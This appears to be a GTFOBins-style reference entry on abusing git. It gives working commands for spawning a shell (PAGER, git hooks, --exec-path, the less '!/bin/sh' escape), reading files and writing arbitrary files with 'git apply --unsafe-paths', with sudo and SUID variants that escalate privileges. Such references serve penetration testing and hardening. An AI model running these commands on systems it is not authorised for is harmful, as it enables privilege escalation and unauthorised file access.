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Shell

This executable can spawn an interactive system shell.

Unprivileged

This function can be performed by any unprivileged user.

PAGER='/bin/sh -c "exec sh 0<&1"' git -p help

Sudo

This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

Remarks

If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

PAGER='/bin/sh -c "exec sh 0<&1"' git -p help

Comment

Git hooks are merely shell scripts and in the following example the hook associated to the pre-commit action is used. Any other hook will work, just make sure to be able perform the proper action to trigger it. An existing repository can also be used, and moving into the directory works too.

Unprivileged

This function can be performed by any unprivileged user.

git init .
echo 'exec /bin/sh 0<&2 1>&2' >.git/hooks/pre-commit
chmod +x .git/hooks/pre-commit
git -C . commit --allow-empty -m x

Sudo

This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

Remarks

If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

git init .
echo 'exec /bin/sh 0<&2 1>&2' >.git/hooks/pre-commit
chmod +x .git/hooks/pre-commit
git -C . commit --allow-empty -m x

Unprivileged

This function can be performed by any unprivileged user.

ln -s /bin/sh git-x
git --exec-path=. x

Sudo

This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

Remarks

If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

ln -s /bin/sh git-x
git --exec-path=. x

SUID

This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

Remarks

This executable runs commands directly, e.g., via functions like exec, remember to omit the -p argument of every /bin/sh invocation for distributions where the default shell does not drop SUID privileges.

ln -s /bin/sh git-x
git --exec-path=. x -p

File write

This executable can write data to local files.

Comment

The patch can be created locally by creating the file that will be written on the target using its absolute path:

echo DATA >/path/to/input-file
git diff /dev/null /path/to/input-file >x.patch

Unprivileged

This function can be performed by any unprivileged user.

git apply --unsafe-paths --directory / x.patch

Sudo

This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

Remarks

If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

git apply --unsafe-paths --directory / x.patch

SUID

This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

git apply --unsafe-paths --directory / x.patch

File read

This executable can read data from local files.

Comment

The read file content is displayed in diff style output format.

Unprivileged

This function can be performed by any unprivileged user.

git diff /dev/null /path/to/input-file

Sudo

This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

Remarks

If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

git diff /dev/null /path/to/input-file

SUID

This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

git diff /dev/null /path/to/input-file

Inherit

This executable can inherit functions from another.

Unprivileged

This function can be performed by any unprivileged user.

git help config

Sudo

This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

Remarks

If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

git help config

Functions

Inherits from less, thus possibly granting the following functions:

Comment

The help system can also be reached from any git command, e.g., git branch.

Unprivileged

This function can be performed by any unprivileged user.

git branch --help config
!/bin/sh

Sudo

This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

Remarks

If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

git branch --help config
!/bin/sh

Functions

Inherits from less, thus possibly granting the following functions: